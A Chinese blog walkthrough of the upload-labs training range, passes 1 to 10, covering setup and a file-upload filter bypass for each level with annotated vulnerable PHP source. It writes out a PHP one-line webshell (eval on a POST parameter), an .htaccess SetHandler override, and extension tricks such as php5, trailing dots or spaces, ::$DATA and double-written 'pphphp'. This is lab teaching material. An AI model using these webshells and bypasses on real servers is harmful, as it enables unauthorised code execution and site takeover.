当前位置: 首页 > news >正文

uploads-labs靶场通关(1)

最近我们已经完成了ssrf,xss,sql,xxe靶场的复习,那么今天我们就来学习uploads-labs靶场吧。

目录

一、靶场安装

方式一

方式二

二、靶场通关(1)

1、pass-01

2、pass-02

3、pass-03

4、pass-04

5、pass-05

6、pass-06

7、pass-07

8、pass-08

9、pass-09

10、pass-10


一、靶场安装

本来是推荐安装docker即可,但是靶场有些题目需要在windwos环境下才能生效,比如说后缀末尾的空格在windows是会进行过滤的,但是在linux系统空格是一个有效字符,所以说在linux系统文件后缀有空格和没有空格是两种不同的文件,利用docker安装,靶场是在linux环境中的,所以说这里分享两种安装方式。

方式一

靶场安装的话这里我们推荐使用docker安装,简单,使用如下命令进行安装

docker pull c0ny1/upload-labs

然后使用下面的命令进行运行

docker run --name uploads -d -p 9600:80 c0ny1/upload-labs

方式二

先下载靶场源码文件c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场,然后下载小皮面板

在小皮面板安装php,版本5.x即可,然后开启中间件

创建网站

域名使用本机IP地址较好,端口随机,不用冲突就行。域名使用127.0.0.1的话bp可能无法抓包,然后将靶场源码放在小皮面板的文件目录下,默认是C:/phpstudy_pro/WWW,根目录选择靶场源码所放在的地址即可。浏览器进行IP+端口进行访问接口。

然后在浏览器进行访问

安装完成,那么开始我们的靶场之路吧

二、靶场通关(1)

1、pass-01

我们先上传一个正常的png图片,可以成功上传

然后右键在新标签页打开页面,可以发现其上传路径

那么接下来就是使用一句话木马构造图片马,如图所示

<?php eval($_POST['cmd']);?>

然后将后缀改为png即可

进行上传,并且开启抓包

修改后缀,将png改为php进行上传

可以看到上传成功,使用蚁剑进行连接

连接成功,第一关都是很简单的,抓包修改后缀就行。还有其它方法也可以绕过,因为这是前端验证,所以可以通过禁用本页面的javascript来进行绕过也是可以的。

2、pass-02

那么第二关,先试试上传图片马,修改后缀

可以看到上传成功,然后进行访问

使用蚁剑连接

连接成功,继续下一关。

提示:最好在完成每一关后都进行上传文件的删除

3、pass-03

还是上传图片马,进行修改后缀,但是这一关开始出现过滤了

可以看到在最后上传的时候出现了过滤,不允许上传,说明这是在服务器端进行的过滤,不是在客户端进行的过滤,第一关和第二关都是在客户端做的过滤,所以我们可以直接修改后缀即可,这里的话其实很好绕过,进行大小写或者使用php4,php5等来绕过。

我们先尝试使用大小写,都是失败了,应该被转换成小写了

还有的方法就是php还可以解析一些特殊格式,比如说php5,php7,pht等格式,那么我们这里使用php5来进行绕过

可以看到上传成功,进行访问

成功进行解析,可以看到代码还对此文件进行重命名,需要在上传界面才能够访问

成功访问,接下来分析源码。

<?php$is_upload = false;$msg = null;if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表(常见脚本后缀)$deny_ext = array('.asp','.aspx','.php','.jsp');// 1. 处理上传文件名:去除文件名首尾的空格(防止空格绕过,如"shell.php ")$file_name = trim($_FILES['upload_file']['name']);// 2. 调用deldot函数删除文件名末尾的点(防止类似"shell.php."的文件名绕过,部分系统会忽略末尾的点)$file_name = deldot($file_name);// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分$file_ext = strrchr($file_name, '.');// 4. 将扩展名转为小写(统一大小写,防止".PHP"等大写后缀绕过)$file_ext = strtolower($file_ext);// 5. 去除扩展名中的"::$DATA"(针对Windows系统NTFS流特性,避免"shell.php::$DATA"被解析为php文件)$file_ext = str_ireplace('::$DATA', '', $file_ext);// 6. 再次去除扩展名首尾的空格(确保处理干净,防止空格残留)$file_ext = trim($file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if(!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            // 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file,$img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传的后缀$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

4、pass-04

还是先上传图片马,看看有哪些过滤条件

直接改为php,直接提示此文件不可上传,并没有说哪些文件不可以上传,那么再尝试一下其它的,比如说大小写,php5,php.等绕过

都无法绕过,那么可以尝试使用.htaccess,上传此文件可以修改apache2的配置,让其将jpg文件当成php文件进行解析,先构建语句

<FilesMatch ".*">SetHandler application/x-httpd-php
</FilesMatch>

然后抓包进行上传

然后上传jpg文件,一句话构成的图片马也是可以的

可以看到解析成功,使用蚁剑连接

连接成功,接下来分析源码,源码分析如下

<?php
// 初始化上传状态为false
$is_upload = false;
// 初始化提示信息为null
$msg = null;// 检查用户是否点击了上传按钮(表单是否通过POST提交了submit参数)
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量定义的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表(覆盖了多种脚本语言及变种,包含大小写变种)$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",  // PHP及历史版本后缀".html",".htm",".phtml",".pht",                 // HTML及PHP嵌入格式".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",  // PHP大小写变种".Html",".Htm",".pHtml",                        // HTML大小写变种".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",  // JSP及衍生格式".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",  // JSP大小写变种".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",  // ASP及衍生格式".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",  // ASP大小写变种".sWf",".swf"  // Flash文件);// 1. 去除文件名首尾的空格$file_name = trim($_FILES['upload_file']['name']);// 2. 调用deldot函数删除文件名末尾的点$file_name = deldot($file_name);// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分$file_ext = strrchr($file_name, '.');// 4. 将扩展名转为小写$file_ext = strtolower($file_ext);// 5. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)$file_ext = str_ireplace('::$DATA', '', $file_ext);// 6. 再次去除扩展名首尾的空格$file_ext = trim($file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if (!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名($img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;// 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file, $img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传$msg = '此文件不允许上传!';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

5、pass-05

照旧啊,进行测试过滤条件

同样的提示,也要进行一个个测试,最后测试使用大写可以绕过

那么进行拦截抓包,修改,进行访问

访问成功,使用蚁剑连接

进行源码分析

<?php$is_upload = false;$msg = null;// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表$deny_ext = array(".php",".php5",".php4",".php3",".php2",  // PHP及历史版本后缀".html",".htm",".phtml",".pht",          // HTML及PHP嵌入格式".pHp",".pHp5",".pHp4",".pHp3",".pHp2",  // PHP大小写变种(如.pHp)".Html",".Htm",".pHtml",                 // HTML大小写变种".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",  // JSP及衍生格式".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",  // JSP大小写变种".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",  // ASP及衍生格式".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",  // ASP大小写变种".sWf",".swf",  // Flash文件".htaccess"     // Apache配置文件);// 1. 去除文件名首尾的空格$file_name = trim($_FILES['upload_file']['name']);// 2. 调用deldot函数删除文件名末尾的点$file_name = deldot($file_name);// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分$file_ext = strrchr($file_name, '.');// 4. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)$file_ext = str_ireplace('::$DATA', '', $file_ext);// 5. 去除扩展名首尾的空格$file_ext = trim($file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if (!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;// 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file, $img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传$msg = '此文件类型不允许上传!';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

这一关代码中缺少将扩展名转为小写的步骤(对比上一关代码,删除了strtolower),而$deny_ext列表中的后缀均为小写或特定大小写(如.pHp)

6、pass-06

还是照旧进行

还是一样是黑名单,就要尝试哪些没有过滤了,最后测试可以在文件后缀加上空格进行绕过

通过拦截抓包

然后进行访问

没有成功,猜测是docker使用的linux系统,而linux系统不会去过滤空格,有没有空格是不同的文件,而windows会进行过滤空格,所以说这里没有解析成功,那么使用windows搭建的环境就可以成功解析。

使用windwos环境搭建的成功上传,使用蚁剑连接

源码分析如下

<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)$deny_ext = array(".php",".php5",".php4",".php3",".php2",  // PHP及历史版本后缀".html",".htm",".phtml",".pht",          // HTML及PHP嵌入格式".pHp",".pHp5",".pHp4",".pHp3",".pHp2",  // PHP大小写变种(如.pHp)".Html",".Htm",".pHtml",                 // HTML大小写变种".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",  // JSP及衍生格式".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",  // JSP大小写变种".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",  // ASP及衍生格式".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",  // ASP大小写变种".sWf",".swf",  // Flash文件".htaccess"     // Apache配置文件(可能用于修改解析规则));// 1. 获取原始上传文件名(未去除首尾空格)$file_name = $_FILES['upload_file']['name'];// 2. 调用deldot函数删除文件名末尾的点(防止"shell.php."这类文件名绕过,部分系统会忽略末尾的点)$file_name = deldot($file_name);// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")$file_ext = strrchr($file_name, '.');// 4. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")$file_ext = strtolower($file_ext);// 5. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP文件)$file_ext = str_ireplace('::$DATA', '', $file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if (!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;// 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file,$img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传$msg = '此文件不允许上传';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

代码中缺少对扩展名首尾空格的trim处理(对比之前版本,删除了trim($file_ext))。上传文件名为shell.php(扩展名.php后带一个空格),处理后$file_ext.php(带空格);

7、pass-07

还是依旧,最后测试可以通过加点来进行绕过

进行访问,蚁剑连接

源码分析

<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)$deny_ext = array(".php",".php5",".php4",".php3",".php2",  // PHP及历史版本后缀".html",".htm",".phtml",".pht",          // HTML及PHP嵌入格式".pHp",".pHp5",".pHp4",".pHp3",".pHp2",  // PHP大小写变种".Html",".Htm",".pHtml",                 // HTML大小写变种".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",  // JSP及衍生格式".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",  // JSP大小写变种".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",  // ASP及衍生格式".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",  // ASP大小写变种".sWf",".swf",  // Flash文件".htaccess"     // Apache配置文件);// 1. 去除原始文件名首尾的空格(防止" shell.php "这类带首尾空格的文件名绕过)$file_name = trim($_FILES['upload_file']['name']);// 2. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")$file_ext = strrchr($file_name, '.');// 3. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")$file_ext = strtolower($file_ext);// 4. 去除扩展名中的"::$DATA"(针对Windows NTFS流特性,避免"shell.php::$DATA"被解析为PHP)$file_ext = str_ireplace('::$DATA', '', $file_ext);// 5. 去除扩展名首尾的空格(确保处理干净,防止空格残留导致绕过)$file_ext = trim($file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if (!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 原始文件名(trim处理后,未修改文件名)$img_path = UPLOAD_PATH.'/'.$file_name;// 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file, $img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传$msg = '此文件类型不允许上传!';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

8、pass-08

依旧进行测试,发现可以使用::$DATA进行绕过,在 Windows 系统中,::$DATA 是 NTFS 文件流标记,系统会忽略该标记后的内容。所以我们使用这个进行绕过即可。

然后进行访问,将后缀删除即可

进行蚁剑连接

源码分析

<?php
// 初始化上传状态为false(默认未上传成功)
$is_upload = false;
// 初始化提示信息为null(默认无提示)
$msg = null;// 检查用户是否通过POST提交了上传请求(是否点击了submit按钮)
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止上传的文件后缀列表(覆盖多种脚本语言、变种及特殊文件)$deny_ext = array(".php",".php5",".php4",".php3",".php2",  // PHP及历史版本后缀".html",".htm",".phtml",".pht",          // HTML及PHP嵌入格式".pHp",".pHp5",".pHp4",".pHp3",".pHp2",  // PHP大小写变种".Html",".Htm",".pHtml",                 // HTML大小写变种".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",  // JSP及衍生格式".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",  // JSP大小写变种".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",  // ASP及衍生格式".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",  // ASP大小写变种".sWf",".swf",  // Flash文件".htaccess"     // Apache配置文件);// 1. 去除原始文件名首尾的空格(防止" shell.php "这类带首尾空格的文件名绕过)$file_name = trim($_FILES['upload_file']['name']);// 2. 调用deldot函数删除文件名末尾的点(防止"shell.php."这类文件名绕过,避免系统忽略末尾的点)$file_name = deldot($file_name);// 3. 提取文件扩展名:取文件名中最后一个"."后面的部分(如"shell.php7"提取出".php7")$file_ext = strrchr($file_name, '.');// 4. 将扩展名转为小写(统一大小写,避免大小写变种绕过,如".PHP"转".php")$file_ext = strtolower($file_ext);// 5. 去除扩展名首尾的空格(确保处理干净,防止空格残留导致绕过)$file_ext = trim($file_ext);// 检查处理后的扩展名是否不在禁止列表中(即允许上传)if (!in_array($file_ext, $deny_ext)) {// 获取上传文件的临时路径(服务器临时存储位置)$temp_file = $_FILES['upload_file']['tmp_name'];// 生成上传后的保存路径:上传目录 + 时间戳(年月日时分秒) + 4位随机数 + 扩展名(避免文件名重复)$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;// 将临时文件移动到目标路径(完成上传)if (move_uploaded_file($temp_file, $img_path)) {// 上传成功,更新上传状态为true$is_upload = true;} else {// 移动文件失败,提示"上传出错"$msg = '上传出错!';}} else {// 扩展名在禁止列表中,提示不允许上传$msg = '此文件类型不允许上传!';}} else {// 上传目录不存在,提示创建目录$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

可以看到此题没有过滤::$DATA

9、pass-09

经过一系列的测试,未发现有效方法进行绕过,那么查看一下源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

可以看到黑名单很多啊,从代码我们可以看到其对文件的处理过程,这样我们就可以进行操作,比如说使用php. .(就是点加空格加点)来进行操作,接下来讲讲它的原理

  1. trim处理(去除首尾空格)原始文件名shell.php. .(末尾有一个空格),trim仅去除首尾空格,中间的点和空格保留,处理后为:shell.php. .(末尾仍有点和空格,因空格在中间而非首尾)。

  2. deldot处理(删除文件名末尾的点)deldot函数的作用是循环删除文件名末尾的点(直到最后一个字符不是点)。但此时文件名末尾是点,因此deldot会删除一个点,处理后为:shell.php. 

  3. 提取扩展名(strrchrstrrchr($file_name, '.')会截取最后一个.后面的部分。在shell.php. 中,最后一个.后面是空格,因此提取的扩展名为:(点 + 空格)。

  4. strtolower处理,不影响结果,扩展名仍为:

  5. 去除::$DATAstr_ireplace::$DATA字符串,扩展名仍为:

  6. trim处理扩展名(去除首尾空格)(点 + 空格)执行trim,会去除首尾的空格,最终扩展名变为:.(只剩下一个点)。

最终剩下的点windows系统会进行过滤,从而绕过了。操作如下

成功上传

蚁剑连接

10、pass-10

经过一系列测试,发现可以进行双写绕过,到了第十关才出现双写绕过,双写绕过的本质是将危险字符置换为空,比如说要过滤php,就会将php置换为空,而双写绕过就是通过pphphp将中间的php置换为空,然后就剩下php,从而实现绕过

连接蚁剑

源码分析

<?php$is_upload = false;$msg = null;// 检查用户是否通过POST提交了上传请求
if (isset($_POST['submit'])) {// 检查上传目录(UPLOAD_PATH常量指定的路径)是否存在if (file_exists(UPLOAD_PATH)) {// 定义禁止的字符串列表(没有带点,是纯后缀名,如"php"而非".php")$deny_ext = array("php","php5","php4","php3","php2",  // PHP及历史版本相关字符串"html","htm","phtml","pht",          // HTML及相关字符串"jsp","jspa","jspx","jsw","jsv","jspf","jtml",  // JSP及相关字符串"asp","aspx","asa","asax","ascx","ashx","asmx","cer",  // ASP及相关字符串"swf",  // Flash相关字符串"htaccess"  // Apache配置文件相关字符串);// 1. 去除原始文件名首尾的空格(仅处理首尾,中间空格保留)$file_name = trim($_FILES['upload_file']['name']);// 2. 将文件名中所有包含$deny_ext列表的字符串替换为空(例如"php"会被删掉)$file_name = str_ireplace($deny_ext,"", $file_name);// 3. 获取上传文件的临时路径$temp_file = $_FILES['upload_file']['tmp_name'];// 4. 生成保存路径:上传目录 + 处理后的文件名(未随机化,保留处理后的原文件名)$img_path = UPLOAD_PATH.'/'.$file_name;        // 5. 移动临时文件到目标路径,完成上传if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?>

剩下的十关明天更新。

http://www.dtcms.com/a/499177.html

相关文章:

  • 网站建设标准合同福州做网站的公司多少钱
  • 类转函数(Class to Function)
  • Java-153 深入浅出 MongoDB 全面的适用场景分析与选型指南 场景应用指南
  • Makefile 模式规则精讲:从 ​​%.o: %.c​​ 到静态模式规则的终极自动化
  • app免费下载网站地址进入产品做网站如何谁来维护价格
  • 网站开发客户流程 6个阶段自助贸易网
  • Java前缀和算法题目练习
  • 《Python 结构化模式匹配深度解析:从语法革新到实战应用》
  • h5游戏免费下载:机甲战士
  • 接口测试 | 使用Postman实际场景化测试
  • 键盘事件对网站交互商业网站设计的基本原则
  • 设计模式的底层原理——解耦
  • 蚌埠市重点工程建设管理局网站国家住房与城乡建设部网站
  • USB 特殊包 --PRE
  • 十六、kubernetes 1.29 之 集群安全机制
  • 固定资产使用年份入错了怎么调整?
  • Linux Shell 正则表达式:从入门到实战,玩转文本匹配与处理
  • 网站建设的功能有哪些内容在线医生免费咨询
  • Gituee
  • 简洁软件下载网站源码做网站服务器多钱
  • java.nio 包详解
  • python+django/flask婚纱摄影拍照管理系统
  • SpringBoot 集成 ELK 实现系统操作日志存储方案
  • 如何解决 Jacob 与 Tomcat 类加载问题:深入分析 Tomcat 类加载机制与 JVM 双亲委派机制
  • AVL树(平衡二叉树)详细介绍与Java实现
  • 2025年市场岗位能力重构与跨领域转型路径分析
  • SQL UNIQUE约束详解
  • 【unity实战】MapMagic 2实战例子
  • 系统找不到文件
  • 网站建设综合实训总结有谁会设制网站